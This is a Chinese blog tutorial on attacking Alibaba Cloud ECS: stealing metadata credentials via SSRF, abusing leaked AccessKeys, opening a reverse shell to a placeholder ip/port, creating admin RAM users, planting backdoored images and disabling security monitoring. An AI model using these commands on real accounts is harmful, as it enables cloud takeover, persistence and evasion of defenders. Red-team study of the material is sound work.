云安全【阿里云ECS攻防】

news2025/4/5 15:16:59

关于VPC的概念还请看:记录一下弹性计算云服务的一些词汇概念 - 火线 Zone-安全攻防社区

一、初始化访问

1、元数据

1.1、SSRF导致读取元数据

img

如果管理员给ECS配置了RAM角色,那么就可以获得临时凭证

img

如果配置RAM角色

在获取ram临时凭证的时候,有一个必要的条件

  • 当前ECS必须被授予了RAM

img

img

首先我们来看一下没有授予权限的机器

img

访问这个目录后就会显示404,接下来我们配置好权限之后在请求一次

img

  • 注意

    • 如果管理员在配置RAM权限的时候选择的角色为服务,那么就没办法用该账号访问别的
  • 如果权限较小的话,也无法进行更多的横向操作

2、AK密钥泄露

云场景下的凭证泄露可以分成以下几种:

  • 控制台账号密码泄露,例如登录控制台的账号密码

  • 临时凭证泄露

  • 访问密钥泄露,即 AccessKeyId、SecretAccessKey 泄露

  • 实例登录凭证泄露,例如 AWS 在创建 EC2 生成的证书文件遭到泄露

对于这类凭证信息的收集,一般可以通过以下几种方法进行收集:

  • Github 敏感信息搜索

  • 反编译目标 APK、小程序

  • 目标网站源代码泄露

2.1、执行任意命令

首先如果使用Aliyun的CLi作为演示

img

aliyun ecs DescribeInstances

我们使用该命令来获取所有的ECS信息,并输出到ecs.json文件中

img

img

我们可以看到这里有一个InstanceId

随后使用下面的命令,可以在ECS上执行命令

aliyun ecs RunCommand --InstanceId.1 i-2ze2sfmwdrs1z5xxoumk --RegionId cn-beijing --Type RunShellScript --CommandContent "touch /tmp/UzJu"

img

2.2、反弹shell

在新服务器中开启NC

img

 aliyun ecs RunCommand --InstanceId.1 i-2ze2sfmwdrs1z5xxoumk --RegionId cn-beijing --Type RunShellScript --CommandContent "bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'"

随后使用aliyun cli输入命令

image-20220407173635773

2.3、创建RAM账号登录控制台

获取到泄露的AK之后,可以通过写入RAM账户登录

首先在aliyun cli中配置泄露的AKID等信息

2.3.1、GetAccountAlias接口

通过调用GetAccountAlias接口查看账号别名

官方文档地址:调用GetAccountAlias查看云账号别名_访问控制-阿里云帮助中心

aliyun ram GetAccountAlias

image-20220407173618740

2.3.2、CreateUser

调用CreateUser接口创建一个RAM用户

aliyun ram CreateUser --UserName xxx

image-20220407173649000

2.3.3、CreateLoginProfile

调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录

aliyun ram CreateLoginProfile --UserName xxx --Password xxxx

img

2.3.4、AttachPolicyToUser

调用AttachPolicyToUser接口为指定用户添加权限

aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx

img

2.3.5、登录控制台

在登录控制台的时候我们需要在用户名的后面加上一个@符号,后面跟上域名等,那么此时我们没有域名应该如何登陆?

我们只需要使用以下命令获取到ID放在@符号后边即可

aliyun ram GetAccountAlias

img

image-20220407173729483

3、恶意的镜像

获取控制台权限后,可导入存在后门的镜像

image-20220407173748527

下次目标用户在选用镜像创建实例的时候,就会触发我们在镜像中植入的恶意代码了。

三、命令执行

1、接管控制台

在上文中我们提到关于RAM用户权限比较小的时候,我们没办法登录控制台,但是如果权限足够的情况,能否登录控制台

我们知道了,如果想让ECS中的元数据有RAM这个目录,我们必须给ECS授权RAM角色

image-20220407173803269

例如我们现在并没有给ECS授权RAM角色,那么我们请求元数据地址看看是否还是404

img

尝试给ECS授权RAM角色,在创建角色的时候,有三个选项,这里尝试前两个

  • 阿里云账号

  • 阿里云服务

首先我们来看一下阿里云账号

img

随后创建完成需要给角色授权

img

此时我们选择所有阿里云资源权限

image-20220407173840081

随后来到ECS添加授权会发现无法添加

img

既然这样,在选择角色的时候如果选择阿里云服务

img

随后选择一样的权限

image-20220407173904778

img

img

然后回到ECS中,请求元数据看是否存在RAM目录

img

在不知道ram角色名的情况下,如果请求/ram/security-credentials/目录,则会返回RAM角色名

img

此时我们再请求Service即可获得临时凭证

image-20220407173929932

采坑

这里在尝试的时候一直会有一个问题,我们配置好上图获取到的AKID和SECRET之后配置到aliyun cli会发现需要一个SecurityToken参数

img

这里的解决办法就是在配置的时候加上一个--mode参数即可

aliyun configure --mode StsToken

image-20220407173943885

随后我们创建新的RAM角色登录控制台

1.1、创建RAM角色账户登录控制台

1、GetAccountAlias

通过调用GetAccountAlias接口查看账号别名

官方文档地址:调用GetAccountAlias查看云账号别名_访问控制-阿里云帮助中心

aliyun ram GetAccountAlias

img

2、CreateUser

调用CreateUser接口创建一个RAM用户

aliyun ram CreateUser --UserName xxx

img

3、CreateLoginProfile

调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录

aliyun ram CreateLoginProfile --UserName xxx --Password xxxx

img

4、AttachPolicyToUser

调用AttachPolicyToUser接口为指定用户添加权限

aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx

img

5、登录控制台

此时有一个疑惑,在登录控制台的时候我们需要在用户名的后面加上一个@符号,后面跟上域名等,那么此时我们没有域名应该如何登陆?

aliyun ram GetAccountAlias

使用该命令我们可以获取到一串数字,AccountAlias,随后把这串数字放到用户名的后面即可

img

随后输入我们设置的密码即可

img

随后我们成功登录了控制台

img

6、注意

如果我们获取到的临时凭据在权限很小的时候,是无法创建RAM用户登录控制台的

四、权限维持

1 、云函数

通过云函数的方式创建后门

img

2、后门镜像

获取控制台权限后,可导入存在后门的镜像

image-20220407174110830

下次目标用户在选用镜像创建实例的时候,就会触发我们在镜像中植入的恶意代码了。

3、创建访问密钥

4.4.1、通过创建新的RAM角色登录控制台
1、GetAccountAlias

通过调用GetAccountAlias接口查看账号别名

官方文档地址:调用GetAccountAlias查看云账号别名_访问控制-阿里云帮助中心

aliyun ram GetAccountAlias

img

2、CreateUser

调用CreateUser接口创建一个RAM用户

aliyun ram CreateUser --UserName xxx

image-20220407174133229

3、CreateLoginProfile

调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录

aliyun ram CreateLoginProfile --UserName xxx --Password xxxx

image-20220407174146287

4、AttachPolicyToUser

调用AttachPolicyToUser接口为指定用户添加权限

aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx

image-20220407174201585

5、登录控制台

此时有一个疑惑,在登录控制台的时候我们需要在用户名的后面加上一个@符号,后面跟上域名等,那么此时我们没有域名应该如何登陆?

aliyun ram GetAccountAlias

使用该命令我们可以获取到一串数字,AccountAlias,随后把这串数字放到用户名的后面即可

image-20220407174211567

随后输入我们设置的密码即可

img

随后我们成功登录了控制台

img

五、防御绕过

1、关闭安全监控服务

正常我们是没有办法直接结束进程阿里云的云盾的(ROOT用户也不行)

img

如果我们强制Kill就会收到告警

img

可以在云安全中心把所有的监控都关了,然后就可以kill掉这个进程了

img

并且我们不会收到告警

六、信息收集

1、元数据

在阿里云ECS常见下可以直接请求:http://100.100.100.200/latest/meta-data/ ,来获取元数据

img

tIps

有时候我们请求http://100.100.100.200/latest/meta-data/会发现返回404,这是因为没有配置Ram用户

详情请看【命令执行那一栏】

2、子网信息

在进行横向移动时,如果知道目标存在哪些网段可以起到事半功倍的效果,在云场景下,可以直接通过控制台看到目标的网段情况。

七、横向移动

1、访问凭证

当拿到目标的临时访问凭证或者访问密钥后,可以通过命令行或者也可以通过控制台的方式进行内网横向移动。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1039449.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Android平台轻量级RTSP服务模块如何实现一个服务发布多路RTSP流?

我们在做Android平台轻量级RTSP服务和内网RTSP网关的时候&#xff0c;遇到过这样的问题&#xff0c;如何同时发布多路RTSP流出去&#xff1f; 回答这个问题&#xff0c;实际上不难&#xff0c;大牛直播SDK在设计这个模块的时候&#xff0c;考虑到了一个Service带多路流的情况&…

【Axure高保真原型】滑动评分条_自由控制起始数值

今天和大家分享能自动控制起始数值的滑动评分条的原型模板&#xff0c;我们可以左右拖动滑块或者点击滑条让滑块移动到点击的位置&#xff0c;评分的数值能根据滑块的位置自动计算&#xff1b;我们也可以控制左右侧输入框里的数值&#xff0c;从而控制滑动评分条的区间&#xf…

什么是Peppol ID?如何创建?

Peppol 网络的两大优势是安全和高效&#xff0c;由于Peppol 最常用于电子发票&#xff0c;因此这些优势在电子发票上展露无遗。相比之下&#xff0c;通过电子邮件发送 PDF 格式的发票和其他文件不仅处理成本较高&#xff0c;而且容易出现发票欺诈。 如果您所在的公共部门组织或…

游戏联运和游戏自主运营有什么区别?哪个更好?

游戏联运和游戏自主运营是两种不同的运营模式&#xff0c;各有优劣势&#xff0c;选择取决于具体情况和目标。 一、游戏联运 游戏联运是指将游戏交由第三方发行商或合作伙伴进行运营和推广。这些合作伙伴通常有更丰富的市场经验和资源&#xff0c;能够协助游戏进入不同地区和平…

Linux环境下使用SVN快速访问资料库?试试使用cpolar端口映射

文章目录 前言1. Ubuntu安装SVN服务2. 修改配置文件2.1 修改svnserve.conf文件2.2 修改passwd文件2.3 修改authz文件 3. 启动svn服务4. 内网穿透4.1 安装cpolar内网穿透4.2 创建隧道映射本地端口 5. 测试公网访问6. 配置固定公网TCP端口地址6.1 保留一个固定的公网TCP端口地址6…

LeetCode的第 363 场周赛——记录+补题

研究生生涯第一次打力扣周赛——3题 1. 计算 K 置位下标对应元素的和 class Solution { public:int cnt(int x){int sum 0;while (x) {sum ((x%2)?1:0);x/2;}return sum;}int sumIndicesWithKSetBits(vector<int>& nums, int k) {int n nums.size();int ans 0…

qiankun微服务搭建遇到的坑

目录 1.子应用vue.config中的headers设置成可跨域请求 2.output设置成library&#xff0c;打包成umd库格式 3.父应用使用了babel-pollfill&#xff0c;子应用不要在在bable-pollfill 4.iconfont.js要取消样式隔离才能生效 5.关于nginx的配置 6.主应用和各应用相同依赖的版…

【周赛364-单调栈】美丽塔 II-力扣 2866

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kuan 的首页,持续学…

华为OD机试 - 相同数字组成图形的周长 - 矩阵(Java 2023 B卷 100分)

目录 专栏导读一、题目描述二、输入描述三、输出描述四、Java算法源码五、效果展示1、输入2、输出 华为OD机试 2023B卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;A卷B卷&#xff09;》。 刷的越多…

windows下查看端口及占用端口的进程

1、使用命令查看端口&#xff0c;这里查看10000端口 netstat -aon|findstr "10000" 2、使用tasklist命令查看进程 tasklist|findstr "9640"

基于Spring Boot的在线考试系统springboot19

大家好✌&#xff01;我是CZ淡陌。一名专注以理论为基础实战为主的技术博主&#xff0c;将再这里为大家分享优质的实战项目&#xff0c;本人在Java毕业设计领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目&#xff0c;希望你能有所收获&#xff0c;少走一些弯路…

驱动开发:STM32F7控制AD5663模拟量输出

AD5663是ADI公司的一款DAC模块&#xff0c;用以实现两路模拟量信号输出。该芯片通过SPI通信来驱动。下面讲解使用STM32F7主控芯片来控制AD5663模拟量输出的流程。 配置STM32F7 SPI通信管脚 STM32CubeMX生成SPI驱动代码 /* SPI3 init function */ void MX_SPI3_Init(void) {/*…

4年从外包到外企,一个测试老鸟的自述

4年前&#xff0c;我拖着行李箱来到北京&#xff0c;成为了一名北漂&#xff0c;离开了校园的庇护&#xff0c;只身一人&#xff0c;想要在这片陌生的地方闯出一番名堂&#xff0c;可最后却不得人意&#xff0c;面临着所有北漂群体的共同困局&#xff0c;没有归属感&#xff0c…

快速构建开发工具2.0

痛点:使用c开发过程中;尽管CMAKE很强大,方便帮助我们编译好第三方库,但是对第三方库的管理,以及快速搭建开发环境,以及第三方库互相搭配使用并进行demo验证上个人觉得,还是繁琐! 所以写了个小工具,来省略这个过程; 这个工具长这个样子: 他能做什么: 1.只需要勾勾选选,就可以将用…

【Element-UI】Mock.js,案例首页导航、左侧菜单

目录 一、引言 二、Mock.js 1、什么是Mock.js 2、安装配置 2.1、安装 2.2、引入 3、Mock.js的使用 3.1、定义测试数据文件 3.2、mock拦截ajax请求 3.3、模拟测试 三、首页导航、左侧菜单 1、页面搭建 1.1、图标定义 1.2、AppMain.vue 1.3、LeftNav.vue 1.4、To…

​旅行季《乡村振兴战略下传统村落文化旅游设计》许少辉八一论著想象和世界一样宽广

​旅行季《乡村振兴战略下传统村落文化旅游设计》许少辉八一论著想象和世界一样宽广

Android实现App增量更新代码实现。

一、增量更新实现思路 1&#xff09;服务端生成patch差分包&#xff1a; 值得注意的是&#xff0c;需要对用户安装的不同版本&#xff0c;生成不同的差分包&#xff0c;为了是让用户安装的所有版本都升级为最新的版本。 2&#xff09;客户端请求差分包&#xff1a; 客户端在请求…

小样本规模船型优化策略的选择研究

天洑软件基于自研智能优化软件AIPOD在船舶行业的应用发表论文《小样本规模船型优化策略的选择研究》刊录于核心期刊《中国造船》。全文如下&#xff1a; 小样本规模船型优化策略的选择研究 陈骏喆&#xff0c;姜 栋&#xff0c;张 儒&#xff0c;张 明 &#xff08;南京天洑…

PIP安装

首先进入这个网站 https://pypi.org/project/pip/#files 选择如图所示的安装包 解压刚才下载的pip安装包打开cmd&#xff08; 使用winR 输入cmd&#xff09; 如图切换到pip文件夹下面 输入python setup.py install 按enter回车键